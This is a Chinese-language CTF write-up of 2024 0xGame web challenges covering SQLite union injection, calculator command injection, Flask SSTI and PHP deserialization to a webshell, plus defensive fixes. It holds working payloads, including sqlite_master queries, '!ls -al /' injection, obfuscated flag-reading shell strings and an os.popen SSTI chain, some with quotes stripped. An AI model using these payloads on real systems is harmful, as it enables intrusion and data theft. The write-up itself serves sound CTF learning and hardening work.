2024 0xGame Web安全挑战:从SQLite注入到RCE实战解析
1. SQLite注入基础与实战技巧SQLite作为轻量级数据库在CTF题目中经常出现。与MySQL注入相比SQLite少了information_schema等常用表但核心注入逻辑相通。以2024 0xGame的ez_sql题为例我们来看具体操作闭合方式差异SQLite注释符为--注意空格或/* */而字符串闭合常用单引号。遇到过滤时可用/**/替代空格?id1/**/union/**/select/**/1,2,3,sqlite_version(),5--关键系统表sqlite_master存储所有表结构信息sqlite_temp_master临时表信息实战payload示例-- 查表结构 ?id1 union select 1,2,3,(select sql from sqlite_master limit 0,1),5-- -- 查数据使用group_concat合并结果 ?id1 union select 1,2,3,(select group_concat(flag) from flag),5--绕过技巧大小写混淆UnIoN SeLeCt内联注释/*!12345UNION*/字符编码%27替代单引号科学计数法1e1替代102. 从注入到RCE的完整链条在ez_rce题目中我们需要通过计算器功能实现命令执行。关键点在于绕过字符限制原始payload分析114 1000 * 514 p; !ls -al /这里利用dc计算器的特性114 1000 * 114000514 114514p打印结果分号后执行系统命令进阶利用技巧环境变量注入${PATH:0:1}获取/通配符利用/???/???匹配/bin/cat编码绕过$(printf \x2f)表示斜杠# 读取flag的变形payload __$((114514));${!__}???${!__}???.???3. SSTI模板注入实战ez_ssti题目考察Python Flask模板注入。通过类继承链找到os模块探测类位置{{ .__class__.__base__.__subclasses__() }}定位os模块{% for i in [].__class__.__base__.__subclasses__() %} {% if os in i.__init__.__globals__ %} {{ loop.index0 }}:{{ i }} {% endif %} {% endfor %}最终RCE payload{{().__class__.__bases__[0].__subclasses__()[135].__init__.__globals__.__builtins__[eval](__import__(os).popen(env).read())}}防御绕过技巧字符串拼接__import__属性链替代request.__class__十六进制编码\x5f\x5fimport__4. 反序列化漏洞利用ez_unser题目展示PHP反序列化的完整攻击链POP链构造要点找到__destruct()或__wakeup()入口点追踪可控属性调用链利用文件操作类如SplFileObject实战payload解析// 序列化数据格式 O:3:Man:1:{s:9:\0Man\0name;O:4:What:1:{s:9:\0What\0Kun;...}}分步攻击流程上传临时文件获取时间戳名通过二次反序列化修改文件名访问webshell执行命令防御建议使用allowed_classes白名单校验__wakeup()中的对象属性避免危险函数如file_put_contents5. 防御与加固方案针对上述漏洞的防护措施SQLite注入防护# 使用参数化查询 cursor.execute(SELECT * FROM users WHERE id?, (user_id,))RCE过滤方案// 命令过滤正则 const blacklist /[;|$\{\}]/g; if(blacklist.test(input)) throw Invalid input;SSTI安全配置from jinja2 import Environment, StrictUndefined env Environment(undefinedStrictUndefined)反序列化最佳实践使用JSON替代序列化实现__sleep()/__wakeup()的安全校验签名验证序列化数据在实际CTF比赛中建议搭建本地测试环境复现漏洞使用Burp Suite等工具调试payload。对于SQLite注入可先用sqlite3命令行测试查询语句RCE漏洞先在docker容器内验证命令效果SSTI注入通过逐步调试模板变量观察回显。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2452201.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!